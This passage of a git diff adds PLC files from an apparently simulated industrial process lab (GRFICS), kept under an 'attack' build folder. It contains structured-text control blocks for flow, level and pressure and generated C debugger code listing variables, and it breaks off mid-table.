scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, 